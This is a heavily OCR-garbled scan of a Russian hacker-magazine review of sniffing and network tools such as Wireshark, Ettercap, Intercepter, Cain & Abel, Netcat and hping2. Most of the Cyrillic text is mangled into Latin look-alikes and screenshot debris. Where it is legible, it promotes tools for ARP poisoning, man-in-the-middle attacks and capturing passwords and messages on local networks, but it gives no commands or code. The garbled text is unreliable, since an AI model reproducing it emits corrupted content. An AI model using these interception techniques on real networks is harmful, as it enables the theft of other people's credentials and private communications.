Wireshark, Tcpdump M(J)I(er nOXBaCTi3Tb KYA8

era Wireshark'y - HIIlKOrAi3 He 6y,[\eT .nY1WHIIlM

MeHbWl.1M KOflw.eCTBOM !lp06JleM C 6e30nacHo­

,D/lR BIo1HAbl

ill

Aa>Ke nO-npe>KHeMY Ha3blBalOT Ethereal [HoBoe l-1Ms:I nOs:lBl-1nOCbJ1V1Wb C!leTa

2006 roAa). Wireshark

pOBblsaKlTCs< >1 AaHHbIC. OKaTbie gZip·OM. CH>1¢ep MO>KeT pa60Ti3Tb He TOJ1bKO B Ethernet. HO l.1

IEEE

PPP!HDLC. ATM, Bluetooth. USB. Token

nonY4111Tb BO>K,D,eneHHbl(1 ,Ll,aMn AaHHblX. Boo61,1W. 60nee HenpI1XOTfl>1BOrO cpeACTsa. nO)l(afly(1. He HaCtTl.1: 1.1 :no. O"NaCTVI. xopowa51 nopOHa Taro.

«Ha neTy>} 8Haml31'lpyeT Tpa¢V1K >13 nOKaJlbHO~ cern

BOCn0J1b30aaTbCSl TC!Kl-1Ml-1 yMonoMpa'Il.1Te.nbHbIMl.1

CTblO l-1 npoCTo 6aroB. MHOrl1e MOl-1 3HaKOMble

>1!l>1 >13 3apaHee nONOTOBneHHoro ,o.aMna Ha Al-1CKe.

B03MO)KHOCHIMl-1.

3AMl-1HbI ycneWHQ mam 3TOT CHl-1epep AJl51

To.

HaCKonbKO OH YAo6eH - Bblwe BCRYeCKO~

MOHI-1Topl-1Hra aKTl-lBHOCT>1 >1 peu.:eHl.151 caMbiX

TCPDUMP WWW.TCPDUMP.ORG *NIX, ECTb nOPT nO):1 WINDOWS

nepexaara naKeTOB l-1 I.1cnOJ1b3yeMbIMl1 >13SeCT­

onpeAeneHHble At]>l AaHHoro npOTOKOna nOHflTHbie

Ha3SaHl.<1e 3TOro CHl-1epepa 3HaKOMO Ka>KAOMy.

HblM cKaHepoM nmap 11 ApyrltlMI1 TymaMI'l.

nOl1S<, a BlOKe 01CT€Ma ¢VlJlbTp08, 1.136asJ151IOll..\a51

Ellie 6bl:,[\0 nOS'lBneHl.1~ Ha CLJ,eHe Ethereal'a

nOXBal1bl: Tbl MO)l(eWb c8060AHO nepeMell..\aTbc>! no Beet! OTOIl-1¢aHHOI1 >1H¢e. npOeMaTp"'safi AaHHbie B TO~ AeTonl-13aL\V1V1. KOTOpa51 re6e H}')KHa. rnaSHble K03bIP'" - 3TO aSTOMaH1yeeKl-1i1 pa360p naKeTOS Ha

OT npoeMOTpa aeero nOAp51A. Kompa>! oTo6pa­

{Wiresharkl Of'! CY>1TaJlCS'I CTaHAapToM Ae~4laKTo.

>KaeT JlV1Wb TO, YTO Te6S'1 MO)t(eT 3al-lHTepeCOBoTb.

,Qa ltl Tenepb MHorVl€ no np>18blYKe lo1CnO.Jlb3YIOT

nOeneAHl.<1€ sepCl-1\o1 Wireshark pa,DyIOT npop,S>1­

ero. anOnHe paAY51Cb %>13HVl. ,D.a. y Hero HeT

pa3Jl\A4Hb1X ceTeSblX np06JleM. V1cxDAHble KO.Qbl TCPDump yaCTW-IHO I.1CnOJlb3yKJTC" 6Vl6Jll.10TeKa­ MVl LibpcapIWinPcap. npeAH83Ha4€HHbIMl.1)J,JlR

ETTERCAP ETTERCAP.50URCEFORGE.NET nJlATcDOPMA: *NIX, WINDOWS, MAC OS

hyrblMl-l MexaHVl3MaM>1 ,D/lR aHaJ11-13a r01l0COBOro

KflaCCHoro GUI-l-1HTepepe(1ca ltl B03MO)/(HOCH1

rpaepl-1Ka VoIP. a raK>Ke ,o.eWl-1¢pOBKoi1 TC!Kl-1X npo­

aBTOMaTlo14eCKl-1 pacnapcVlTb p,aHHble nonyJ1l1pHblX

nOMH>1TC", KOr,o.a Mbl snepBble paCc.-::33bIB311Vl

1OKOn06 KaK IPsec. ISAKMP. Kerberos. SNMPv3.

npOTOKo.nOB, HO :no. B flIo60M cnyYae, OTfl>1'"lHOe

06 ARP-cnyepVlHre !npv.eMe, n::>3BOllp.lOll..\eM CHl.'1­

SSl/TLS. WEP.

cpeACTEo, t.Ho6bl OTCHl-lq>aTb B JlOKal1Ke Tpa¢IIlK l.1

q>aTb Tpa:rI1K B flOl<anbHblX ceTnX. nOCTooeHHblX

~

036

l-1 WPAlWPA2, Ha nen; pacw\Ilep­

XAKEP

os

/125/ 0'


"'I'..<OP <i'Il...I>O"OOl

_

,'._li(ii

..........

."

II

' ,

.",_.poo' ."'_..t......

.,

', ,o,'"

",..,.. "". 'n,", ~

• ":.:-:::.':":::' ,'::::"'

_ , It.. ",..,. ""

("''''".""",,,, , '""". ,("'.,,, .•. ,, , _

i"'l.

' " 0 0 . _...._.. _.

'''''"'y

" ­ ....""'.,,, ARO

l.l

'no,,;! '"' "'""'..."9 11. . IU<<O"

',0

_

L.O

"'-"'.~,

'f""O".

.~''''''l'I ... I'''''on. .._ ' ' ) '.I"".....

1,0

• ....,,11 <_100M

1,0

5

4

'E:::~r:"''' ABTOMAHI"lECKHiiI PA360P 60J1bWHHCTBA npOTOK0J10B H CHCTEMA «l>HJ1bTPOB - rJ1ABHbIE K03blPH WIRESHARK

~

I .

I'

:::~:::::~­ --~-~d'

__

.• ,__",

:::::;':.:::::'.~'"J:'~

!

2JplJ'l"'>'l

I~ ~,

)l ","'..00 .h,,<"'" 46 .... ,""'''''0<~

KOHCOJ1bHbliil CHH«l>EPTCPDUMP

\

. ,~

,no ._,

,"

·"~·· TO~_" ~·_·~

",,'.1..,.

:

•.•,.".., ~''''''.W<h..

1,0

EM

,

do" rtOiOO.

f""_1>

Wi

--1' i

1.1

...,..".,.

_ _0""'"

U

~~

PA3PA60TKA ETTERCAP 60J1bWE HE BEAETC5I. HO «l>YHKl\HOHAJ1b­ HOCTb BCErAA MO>KHO HAPAC­ THTb C nOMO~blO nJ1ArHHOB

Ha C'-tIo1TilXl. TO B KayeCTBe c.HLiI<j>epa npIo1MeH~JH.1

MHO>KeCTBO y6V1iiicTseHHblX reXH0f10rlo1ii: 4era CTOI1T

HO.

LilMeHHO Etlercap. CaMIo1 pa3pa6olYLilKIo1 np0.L\BIo1­

O,o,VlH TOJlbKO «eXtreme mode». CHl-1q.epy ~OCTcl­

YT01f1V1ry C 1000 VI 0AHIo1M npl.1M€HeHl1eM. B caMOM

RIOT CBOH npo,o.YKT KaK Cpe.L\CTBO).l,Jlli cosepwe­

TOYHO 3aA8Tb u,ef1esoi7l npoToKofl 6e3 yK83aHIo1>l

npOCTOM Sapil1aHTe Netcat n03BOJlfleT C03,D.aBaTb

IH15l aTaK man-in-the-middle. YTl.1Jll>iTa nO,(lJ.\ep­

nopTa - Ox4553-lnterceptcr 6y,QeT npocMaTplilsaTb

TCP VI UOP coe.£\I1HeHIo1~, YMeeT«CJlyUJaTb» BXO.QSl"

~l>1SaeT CHI>1q.ViHr B pea11bHCM apeMeHiI1, cl>l>111bT"

seCb Tpaq>Io1K 101 aBTOMaTl14eCKlil «Sblf1aBJlIo1BaTb»

l1\lIIe coe.£\IilHeHIo151 [MO)KHO npL1Ka33Tb Tyme ;>KAalb

palJ,\>l1O KOHTeHTa «Ha fl8ry". ':1H>KeKL(LilfO naKeT013

naKeTbI. OTHOC51l1\l1eCSl KAaHf.lOMY npoToKofly [nYTeM

coeAV1HeHlil5l TonbKO CYKaJaHHblX T060L:! aApeCOB 1-1

l>1 MHorLile .L\pyrllle Io1HTepeCHbie Tpil1KiI1. Y4TI1. 4TO

aHanlil3a Io1X co,aep>I<Io1Moro). 3ra ¢iI1ya n0f1e3Ha AJm

,qa)l(€ nopTOB!!. MO>l<eT CKaHl1pOSaTb nopTbl. pa3pe­

B pe3Yf1bTaTe.

nOflyYaeM O~HY e,qlllHCTBeHHYIO

no Aeq>omy nporpaMM3 8blnO,l,H1eT MHo::t<eCTBO

SblSlSf1eHIo1S'1 Proxy.. 101 FTP..cepsepos (oCTaf1bHbI€

waTb DNS-3anpocbI, nOCblf1alb f1106bl€ KOMaH,qbl co

fllo1WHLilX Ae~CTBV1~ (Hanpv,Mep, dnS-pe30f1BI1Hf

cepslo1cbl pa60TalOT C 60f1£€ wnVl MeHee npeA­

CTaH,qapllmro BBO,D.a.

Haii,o,eHHbiX aApecosl. KpOMe TOra, aKn1BHblii

CKa3yeMblMl1 nopTaMVl]. TaK lt1f1V1 VlHa4€. MO>l<HO

npe.neneHHble ~ei1CTslo1fl s OTlleT Ha coe,o,Io1HeH\I1€.

arpoisonlng 1-1 HeKOTOpble Apyrlile j:\e'fCTBLilfl MOryr

BblnOflH~Tb

3apaHee npe,!J,o­

npocMoTpeTb BeCb Tpa¢VlK S 4i1CTOM lrawlslo1,Qe. HO

KOTopoe CllywaeT {<KQT€HOK» !J10rOTVln HeTKaral.

1il3.o.eCb MQ)j(HO 06n8r'1Io1Tb ce6e >l<1013Hb, Ha110>l<1>I6

AellaTb Hex-.£\aMn ompaSJle~Hr,lx iI1 nOJ1Y"!eHHblx

ettercap. EC.'ll-1 TO\lHee. TO ,o,a)!{e 13 C3MOiii npo..

fia oT06pa)j(aeMbH1 KOHTeHT fieKoTopble npaBlilf1a.

,!l,3HHbIX la SOT VI cPYHKLI,iI1Vl CH\I1¢epall1 MHOro..

rpaMMe BCTpOeHa <j>yHKlJ,YlP 06Hapy>KeHlil51 ce6e

Harpa6f1eHHbli1 Tpaq>lilK Mo::+::eT6blTb coxpaHeH 13

MHoro yera ew,e. 8006w,e, Netcal ­ 3TO MOW,"

CKo~,npOMeTl-1pQBaTb

nOA06HblX

XaKepa. l>1cnOJlb3YIOw,ero

:l. B Ettercap npeAYO.lOTpeHa 803MO.>K..

HOCTb nposepKLiI. HaXOAlilWbCR 11101 Tbl 8 flOK3flKe

pcap-¢opMaTe Icr<lHP,apT ~8-¢aKTO cpe.n101 cHIo1q.¢e..

Hei1w~e

posll1 nOA6eprHyr AaJlbHeCiweMy aHaf11013Y, Hanplll"

pa3f1Io1YHbIX yA38V1MocTei1, nOCKOf1bKY n03BOJ151eT

cpe,qCTBO 1'J,J1~ OTf1a,D.Klil L1 3KcnnyaTCIL~1011o1

co CBl>1TY3Ml>1 10111101 heT lcei7lYac 3T O Y>K€ nOYH1

Mep, 13 Wireshark K TOMy >l<e. caM CHIo1q.ep Io1MeeT

yCTClHOBVlTb coe'£\lJIHeHlt1e f11060ro nlOa. KOTOPbl~

He aKTY<lf1bHOl, a laK>I<e BCTpoeHO epe.o.CT80 IJ,f1>1

Bce 3a,aaTKV1 AJl5l oflijne..aHaJlI13a. nOMep)f(I1SaerCR

leGe Hp<eH. 0plo1fl1HallbHa51 BepCIo1S'1 NetCap 6blf1a

flOgerprinfa. KOlopoe aI(TiI1BHblMVl VI naCCVlBHbIMI~

B03MO>l<HOCTb y,aaf1eHHOrO 3axsaTa Tpa¢V1Ka

SblnYl1leHa el1\e B 1995 roilY. HO. ~ecMoTpSl Ha

MeTO~Io1KaMIII

nocpe,aCTBoM RPCAP-AeMoHa. 06bl4HO YCTaHas ..

6eweHylO nonyf1RpHOCTb npO€KT. He pa3SVlsaeTCSl.

fll4BaeMoro Ha Wf1103 nOKaf1bHoi7l ceTVI

Ho caMa KOHlJ,enU,lo15l nporpaMMbl, cOBMew,afOw,aSl

MO>KeT onpe,D,eJlIl1Tb pa3HI>Ie ,Qesai1­

Cbl. OnepalJ,MOHKVI Ha XOCTax 1-1 o6lilY~ cxeMy ceTIo1.

OX4553-INTERCEPTER INTERCEPTER.NERERU

nJlATCDOPMA WINDOWS NT(2K\XP\2K3\VISTAj

11

rpa6flll.\€rO

seCb lpa¢\.1K Ha BxoAe/sblso,o,e BO «BHewHVli1,)

npeAenbHylO npoCTory l'I. B TO>Ke SpeM\1, orpOMHylO

Mlolp. nOCKOf1bKY Wfl103bl Hepe.£\Ko Bpaw,aIOTC>l nOA

¢YHKlJ,1010HaflbHOClb. nplo1BeJla K nO>1Gf1eHVlfO APYfl.lX

ynp<JBJ1eHV18M Linux'a i1f1i11 xBSO, TO RPCAP-AeMoH

peaJlVl3aUIo1i7l. O.£\HOt! iI1J caMblX lt1HT€peCHbIX CTaf1a

OKa3bISaeTC>1 seCbMa n011e3Hb1M nOACnOpbeM.

Socat. KOlopaSl ,qonOf1H~eT 0plt1rVlHaJlbHbU1 Netcat JlO,D,ll,ep.>KKiI1 SSL-WiI1q,poBaHIo1Sl. SOCKS npOKCl'l

nOMVlMO YV1CTO cHwtJepHblx ¢YHKU,lo1iii. Ox6553­

jJflSl

A SOT Vl OTeyeCTBeHHa5l pa3pa6OTK8 - CHIo1¢ep

Intercepter 06f1aAaeT Ha6opoM BeebMa C06f1a3HIo1"

III T,q. C He MeHbWVlM ycnexoM ee MO::+::HO 103aTb

Intercepter. \11 no COBM€CT1IITeJlbC"TBY - rB03,D;b npo~

TeflnHblX ¢W4. Ha4HeM C 6aHaf1bHOrO o6HaPY-'t'clIlIIR

KaK COKCVl¢aep, 6e30nacHbli7l TyHHe1lJlep. CHVoq>ep

Y3flOB 13 ceTIo1. KOTOpoe ocyw,eCTBll5l€TC5l OTHIOAb

lt1 1..0.. nOMiI1MO :;noro, eCTb Neat. npeAOCTaaJl51IO"

MIT ,wm nepeXBara Tpc¢Io1Ka. co06Ll1eHiI1C1 VI napo ..

He tynblM CKaHlo1poBaHlo1eM Ip.. ~peCOB. B Hy>KHOM

w,l'If1 ,o,onOflHI-nef1bHble 4lyHKU,l'lIo1, a lclK>Ke ryptcot,

Jleiii/xeweiii. ~OCTYnHblx B ny6f1Io1YHQM Aocryne. 4TO

Alilana30He. OxA553-lntercepter nOCblf1aeT W"lpOKO­

Netcat6. PNetcat. 580 101 Ap.

rpaMMbl!

yt-1eeT?

3TO OAHa 1>13 caMblX nporpeCC"lBHblX yTil1­

8 nepBY!O 04cpe,o,b,

nepeXl3aT~lBaTb napOf1"l

Bew,aTe11bHbliii ARP-3anpoc. Tpe6ytl. YTo6bl Bce

CAIN AND ABEL WWW.OXID.lT/CAIN.HTML

101 xewVo AIl5l CflelWIOLiI,VlX npOTOK0J10B: ICO, IRe,

y3f1bl, KOTOpble era nonyYlo1fll.1. coo6w,wf1l.1 C80101

AIM, FTP, IMAP, POP3, SMTP, lDAP, BNC, SOCKS, HTIP, NNTP, CVS, TElNET, MRA, DC.., VNC,

IP-aApeca. npIo14€M. Ox4553-lntercepter cnoc06eH Bbl5lB11SlTb ,npyfl.le CH>1¢epbl. OHCP DISCOVERY

nJlATCDOPMA WINDOWS

MYSQL, ORACLE. ,[l,pyroi7l Ba>l<Hbl'f ¢YHKlJ,VlOHall

n038011SleT 0CYUJ,ecTsVlTb nOlt1CK OHCP-c8psepos

EClll1lo1ll.1ewbyrlo1JlIo1TY AJ1Sl 80CCTaHOBf1eHVl~ sce­

- nepeXSaTb:BaeT caMbie pa3mNHbie co06U\eHIo1I1

\I1HTer-pl'lpOSaHHbli1 nepenporpaMMaTop MAC­

603MO>KHbIX naponeiii. TO f1yywero I-1HCTpyMeHTa,

C oTo6pa)l(eHl1eM J],Vla,10i"d S peanbHOM epeMeHIo1.

a~peC06 n03S0J15leT 6blcrpO nOMeH51Tb MAC-aAPec.

nO>l<af1yiii. He HaI1TI-1. B 6yKSaf1bHOM CMblCf1e «yHIo1"

° MOAYf1e ARP POISON -

Ha TeKYl1\wi7l MOM€HT CHIo1q.epOM nepeB<:lpIo1B3IOT­

~ Y)j(e He roSopfO

CI'I CJleAYIOl1\Vle npOTOKOJlbl; ICO. AIM, JABBER.

caMO co60i1 pa3YMelOl1\eeC5l.

:'HO

YAHOO, MSN. GADU-GADL!, IRC. MRA. Ho 3TOT cnlo1cOK He rJl3Bt'oe, BeAb Intercepter - 4yrb f11-1 He eAIo1HCTeeHHbliii ViIiCTPYM€HT. nC,DAep>KiI1BalOll.\iI1M YHVlKOA. a nOToMy npaSlilflbHO oTo6pa)+(8eT Klo1pil1n­ Jl\<1L.W raM, r,[le 3TO Heo6xo,!J,iI1Mol

tJ.a ';1 '1era TaVlTb,

NETCAT NETCAT.50URCEFORGE.NET

'NIX, ECTb nOPT nOLI WINDOWS

SepCaf1bHbli7l COf1AaT» rOTOB Ha 8ce. AonyCTlilM. Te6e Hy>l<HO 8cnOMHIo1Tb napOf1b

\1\

f1lt14Hble

,o,aHHble, coxpaHeHHble 6 6pay3epe. He npo· 6f1eMa l Knl'lK no Hy>KHoi7lIo1KoHKe ~ L1 OHIo1 TBO\.1! V1HTepecyewbC5l naccaMIo1. KOTOpble HenpepblBHo nepe,q8fOTCSl no T60et! f10KaJlKe lLil. Clle~OBaTeflb~ HO. t1X xopowo 6bl wlo1q.poBaTbI? Bocnoflb3yi1cSl

npLilS€AeHHblt! cnVlCOK e~Ba flV1 MQ>I<HO Ha3BaTb

Csoeo6pa3Hblt! UJB€i7lu,apCKVliii HO>l< ll106oro B3110M­

SCTpoeHHblM cHIo1¢epoM npaB,D.a. nOHaA06lilTGl

nOJlHbIM. nOToMy KaK nepeXSBTbISal-:JTC51 eLUe

W,Io1KCl. 3Ta ype3Sbl4aiiiHO npOCTaA yrlilJ1ll1Ta n03BO"

.£\pai:1sep WinPcap. HO He 6e.£\3 - B CJ1Y4ae H806­

C006l1\eHVlA GTalk ~npOTOKOf1 nOCTpc8H Ha Jabber!.

f15leT YI1TaTb 101 nlo1caTb ,o,aHHbl€ 8 TCP Vl UOP COeAlIl·

XOAVlMOCTIo1 Cain & Abel3alo1HCTaJlJllo1T ero np51Mo

a TaK.>Ke Mail.AreHT,

HeHlo1flX. \I1HblMVI Cf10SaMVI, Netcat nOJBOn5leT Te6e

BO BpeMfl yCTaHOSKIil. A ,nanee - ,o,eJ1a~. "TO

coe.£\l'IHVlTbCfl C yeM yro,qHO, Aa V1 Aef1aTb 'lTD yroA­

x04eWb 3aM€4Y. 4TO ,o,eJ10 He orpal-lWYIilSaeTCA

aflbHO.

XAKEP

YTC

MO::+::8T 6blTb seCbM3 aKl)'­

B apceHafle Ox4553..lntercepter Io1MeeTCS'I

05 fl2S1 09

~

037


~o

II·~ N.." " " ' _

•• _.

UNO~

OIlCFOc....v.._

_!P'"

_(;000.<.

--,-,,,,-,,:-::­

,QI~II'lIl).';{_:DfSOEIG_~il'o«_':",,*,,'''''''-''''1·'''_-'l!l2I""''i'''5 ,

--

• -o>o'k"",--

I AAPS<.r~ ! ,:~~ f ,,, 1&11. I OIICP~ I O~ .... "_... DtlSs-"

.....il ~ ~ '~2····.. ,r-

.....• _ - _ . ­

...........

O:::D

~

lb

I

N._II"",

0_

-'

m

.••_..

l_o~l.lI1!12,\IlI,O 101 ilg'l_lA..:..~J.rw~25'lOlj$lloO'olO'Ol

il.~.1 ... Ll1'

n-l)-l~·dtl [In~ij,l

1

{oo-..... ' [1".1M.l·'''I' (OIl-l'-U"71·~·7'1 ' (1"""1]

: lOO·ld·U~7__"1 ' (1"""ll

un_16~.l."ZI

~

I I

>< ••• "

0""'>'" ""'''~'

cepSVlCOB,

,,[ ""'00 1 I. " ..... _.. eof.) f •• ~

I "P""' '""tlOO

;oho>"o~

,, -~

I Sb<"""'- !~

nOMI1MO CHI1C1>I1HrA, INTERCEPTER I1MEET PSlAAPyrl1X >:4. n011E3HbiX YTI111I1T: HAnpI1MEP, n0I1CK>KI1BbIXY3110B C no­ MO~blO WI1POKOBE~ATEl1bHOI1PACCbll1KI1 ARP-nAKETOB

<-'OOO<,U)

'"

•• o~,·.,~

I

1 {l"'~"

(f", " "...

,~,"" ••'".,,' _~~

,~O<

fdrt"~.",",.,)

~~:?~5~::~~~ ::~s:;::.':;ttIS. "f2:

~ ~~~"".Y

O •••

Mh, 10<0 ••• 1 to,· 110<0 «of. po." ',,"",. Ii" .., h . ;n"",,,od ooono'" I"f'" to....·,,·, .. -1', .." ".. ·.o,·~"' ,I" ""ncr'o ""I, I~ 'o/"«'~" 00 ~'"

_"<.

""et ,,,,if,.,

h. . _..

.'",

10,.1 I'." """h<o~ .,•• d'M," loeol .,"d ,,""Q« 1••'"' ,.h... ,·~ rt"" .. ·.. ,

..n'....· IfLNH 0..'"'''''°0

UW ""~~

• .t ••

o...;.:ilAt .

. ; ; . . ._.

0>

'0

" fO"

I OOIl>m;;OOO 10'110 ,a..-! ~ ~U%i .:."'~ -~

O,QHl.1M nepexsaTOM naponee; oT SC€SO)MO.>KHbIX

. ,"lo~,«1

<l.'rtoh f,u" ' ..... ,,' •.

1113 I ~.

I

"1 .. ~_

~ 'eo' ,e ~ .. :~~ ro.

'TQ~ ~-'I ~ ~

,',

\

'~l

... :]OJXJ

7 C:IWI/4){)WS\S.,.'...3l1c>nd ....

.:c~~

"~."

'co " ,.. _". _...."""".'do

..... ,0.'

<

n~nl.. ,.,

t."

~

'."'_"." r.. ,~ , .. 'in<.~< 10,· CO""~<", .,"d "0,1 0" h,,,l. I",...' f ... '.""",,,",1

'.'n·(/()

t .• ",d.v ;.:...~(

0, .. "~'"

h 0 (;h' 'u, "'0 1

WBElI1l.\APCKl111 HO>KI1K XAKEPA - NETCAT

~

HTIP. SHTP, FTP l.1 T.A_ VlCnOflb30BaTb ee

Ivm

BbISlBJ1eHI'1s:l

Ha4V1Ha~ OT 6aH8nbHbiX FTP/POP3 III 38K8H4111Ba>l 3K30THKO~,

3HOMJnbHO~ aKTI-1BHOCTVl B CeTIol [BVlPYCbl. '-!epBVll.1 T.,(t.J l.111l.1

Bpo,o,e KJ1104ei1 ,D,J1s:1 Radius-cepeepOB, PeallbHO nepeXBan1Tb

nepexsaTa AaHHblX 1-13 aBTOpVl3al..ll111

HTIP.

FTP -

HeSa)l(HO.

lII.o.eHn1epIllKa~l.10HHble.o.aHHble VI caMVI pa3rosopbl K)ll.1eHTOB

.~

VoIP-TeneepOHl.1V1 (HO TOllbKO, eCllIll Vlcn0J1b3yeTcl'l SIP-npOTOKOIlI

~

liIJlIll.o.a)Ke naKeTbl C roflOCOBblMIII ,(taHHbIMVI. Vl3 KOTOpblX

links

HeCJlO~HO

Vl38Jle4b 3am1Cb pa3toBopa C nOMOw,bK)

cne~l1­

nJlATQ)OPMA *NIX, WINDOWS 3Ta KDHCOJ1bHJs:lTyJl3a Ans:l Pa350PKIo1 ceTeSblX n8KeWB. l.1X MO,al.1'

• KnaCCHbliil MaHy8Jl

81lbHblX KOHBepTepOB. 4T05bl He 6blflO np06fl€ M

no NetCat: ~a~,-.r_l..~l

npora OTJlWlHO BJlaAeeT npVleMOM ARP-cnyepl.1Hra. YM€ J lble

au/M SWIIlJ1o'NS/html Inc.htm,(.

MaHVlnYJl>1L\IIIVl C MAC-aApecaMVI 1-1 3arOJlOBKC!Ml.1 naKeTOB npVl­

S TeCTlllposaHloll>'llDS, ¢ai1pB01l0D l.1 ceTeeblX p,eMQH08, 511aroAaps:l

BOA51T K pe3YJlbTaTBM: CHlIIepep pa60TaeT nO'-!TV1 6e30TK83HO

pa60Te '-Iepe3 KQH(OJlb. Nemesis nef1<.O npVlcnoca6JlV1e3eTCSl K

• VlHCTPYKlV·1>l

no

co CBVlT'-!8MVl •

15 BcTpoeHHblx 25 TV1nOB xewei:1. npo­

[XOTIl :no naJlV1TC51 .nI05bIMV1 IDS). C nOMOlll,blO

& Abel

3anyCKy Scapy nap,

yTVlJlI-1T Cain

Windows:

seCTVl VlCClle,aOS8Hl-1e 6ecnpoBo,aHoL7i cell1. a T8K.>Ke 8b1nOJlHl-1Tb

t!'al:.,;;;,t:;.~dev,org/

ew,e LJ,el1bH:i p>1,Q YHI1KC1JlbHblX ,ll,ei:'icTBI1i1(H8l..1eJleHHblx. npe>KJ:1e

Zi3py!v.",kl/

scero, Ha no,a60p l4fll,ot paCWl4BKy n<:lpoJlei1).

MO>KeT 83J10M8Tb

Windowslns ta lli,:ttlQIl

NGREP

G1ili1~.

NGRE~SOURCEFORGE.NET

€) , dvd

.!

NEMESIS NEMESIS.SOURCEFORGE.NET <t>Io1Kal..lltllo1lo1.o.anbHe~wei1 I-1H)f(eKl..IliIliI B CeTb He pen BblpyYafla MeHSl

llJ06blM CTOpOl·IHVlM cKpl1m.1M AflSl neH-Tecra. OPlo1rMHaJlbH3Sl Bep­ CIo1Sl MO)l(eT pacnapcltlTb ltll.1H>KeKTIo1p0eaTb npoV1380Jlbkble naKeTbl

ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF, RIP, TCP" UOP

HPING2 WWW.HPING.ORG

nJlAT<1JOPMA *NIX, MACOS X, WINDOWS

nJlATQ)OPMA *NIX, ECTb nOPT no):\ WINDOWS

np0l.13BOJlbHble ICMP,

YTO TaKoe Ngrep? 6epeM 1013BeCTHYJO HVlKCOBYIO yTVlJl""Y grep

)I(.1Tb OTBeTbi Ha HI-1X. OTnpasV1Tb raKo~ naKeT He CJlO>KHee. l.ieM

BOT ew,e O,l\Ha MI-1Hl-1anOpHaSl yrv.mna. n03so11RIOU\851 OTCblJ1aTb

UOP. TCP

l.1 RAW·IP n.1KeTbl 101 oT06p.1­

!ly. '-ITO H.1XO,ll,l.1T Ha BBo,ae CTpOKVI. OTBe'1atOw,Vle 3aAaHHOMy

nponl1HrOSaTb HY)l(HblL7i XOCT. VlHTepepeL7ic nonHOCTb.Kl nepe-

peryJlSlpHoMy Bblpa>KeH\IIIO. Vl BblBOAliIT Io1xl Vl HaTpaBlll.1SaeM

HSlT

ee Ha ceTeso~ Tpa¢VlK. TO'1HO T3K )I(e, KaK BbIBO,a Ha KaK)'lO-

lo13Ha'1aJlbHO Tyf13a 6b1na pa3pa6oTaHa B Ka'-leCTBe 3<lMeHl.>I

TO KOMaHAY MO)l(HO Orp3Hl1'-!l1Tb CTpOKaM\II C onpe,l\eJleHHblM

CTaHAapTHblM ping/tracercute. pa6CTa KOTOpblX '-IaCTo 06naMbJ­

CO,l\ep>Kl.1MbfM, MO::KHO q,Io1JlbTPOS3Tb \II TP8epVlK. Ngrep n03BO­

BaeTC51l.1J-33 epa~pBOJlOB. nOJTOMy B Hping2 no YM01l4aHlt11O

y Jl106VlMOrO

Ping'a -

OTCIC,qa V1 H.13Bal-llo1e nporpaMMbl.

YnOMI<HYTble B CT8Tbe

I1SleT Bbl,o,ellVlTb \113 nepeXSaYeHHOrO Tpa¢lI-1Ka flt06ble AaHl-lble,

eCTb npO,(tDIo1HyTbl~ traceroule !Jt pe)j(lt1M lP·¢lparMeHTau,lt1l1.

yT\'1mnblll1 x-tOOlZ'b1

OTSe'-lalOLl\lo1e pery.n>1pHbIM Bblpa)l(eHl.1SlM, Ngrep nOHVlMaeT

Tymy ~aCTO VlO!Ollb3yIOT An~ nposepKIo1 l'!aCTpol:1KliI ¢af.ipsD1l8,

Heo6~)aTenbHOKa4aTb

IPv4/6. TCP.

vB

HOJlOrVl51M [PPP. SLIP, FOOl. Token Ring). TpaAVll..Ilo1OHHO ngrep

V1HeTa: OHVI eCTb Ha

HaweM

OVO!

UOP.

ICMPv4/6, IGM no Ehetrnet"y Vl,apyrl1M Tex­

fingerprinfa lot CKaHVlpOeaHI1R nopTos

\11.

1<0He'-lHO .>Ke. JlpOCTO

,D,J1R ornpaBKVl B CeTb Hy)KHOro naKeT.1.

V1Cn0J1b3yeTcSl JVl>1 aHaflVl3.1 TeKCT08bJX npOTOKOJlOB. Bpo,o,e

I1HTEPAKH1BHOE MAHl1nYl1lll.\l1ll CnAKETAMI1 C nOMO~blO SCAPY - OAHO YAOBOl1bCTBI1E

NETWORK MINER NETWORKMINER.SOURCEFORGE.NET

nJlATQ)OPMA WINDOWS A06pOTHbll:1 CHVI¢lep AJlSl Windows, KOTOPb':~ BCI'l4eCKlo1 m·,rra€T(\1 BblBeAaTb K3K MOKHD 6011bUJe V1H¢l':>1 0 JlOK3nbHoi1 CeTI-1. Network Miner npe,QHJ3HJyeH He CTOflbKO AJm nepeXBaTa ,ll,.1HHbIX (XOT5l. 6e3ycnoBHO, DH 3TO yMeeT! -

CKOflbKO JVlSl aH81lVl3a VlH¢lpa­

CTpYKTYPbl .nOKa!lKl'1 [onepau,VlOHK\.1 H3 xocrax. OTKpblTbie ceccV1V1. hostname·bl. OTKpblTbie nOpTbil-lJ Y311axl.

B OTJllo14lo1e aT MHOI V1X

YTVlJlV1T, AellaeT OH :310 l4CKJ110411TellbHO naCCi'18HO. T.e. 5e3 reHe­ pal..llo1lo1 Tpa¢,.,Ka, no KOTOPOMY MO)l(eT 6blTb onpeAeJleH q,aKT

,,

cKaHlIIpOOJHIo1R

Anq aH.1flVl3a DC I-la Ka)f(,!l.OM

V13 Y3110B I-1cnOJlWY­

IOTCSl npoBepeHHble MeX.1Hl.13MbI fingerprint'a. 6.13bl ytV1Il\.1Tbl pOf (lcClmrufcoredump.cxipOI.,;btOiI. a Taue t-f,eTOA aHaJlV13a

OHCP­

n.1KeTOB >13 Tyf13b1 Satori IhltD:/lmvvveb,cableone.ne!lmi.b1. Ec.n1-1 rOBOplo1Tb 0 nepexBaTe .o.aHHbIX, TO Network Miner CHl>'I­ MeT C <oeplo1p.1J> [VlJlVl \13 3apaHee no,aroTOBJ1eHHoro ,(t.1Mna 6 PCAP-¢!opMaTel ¢laI1Jlbl, cepntepl.1KaTbi. 101305pa>KeHV1>l \1 Apy-

~

038

XAKEP

os

11251 OY


fI\o~(_'_"'"

... t.o4;l:i:9:Ef +'<1 .. 't~i"A·I!!l~c"·r~-G··;··A

L

,,- _l...."..,__ --:. --==-- . . Lj·T<:;ETi:iiTJ-­

l~:l

~a.uo

'WI"''' "',*:J"

_,,""'<" ,-. _....-.Oio-T.......

_",..,.,., .......",( .... ....

",,,,,",J,,,

~

IN&ABEL, nOMIiIMO nAPOllElIlliIAPyrlilX

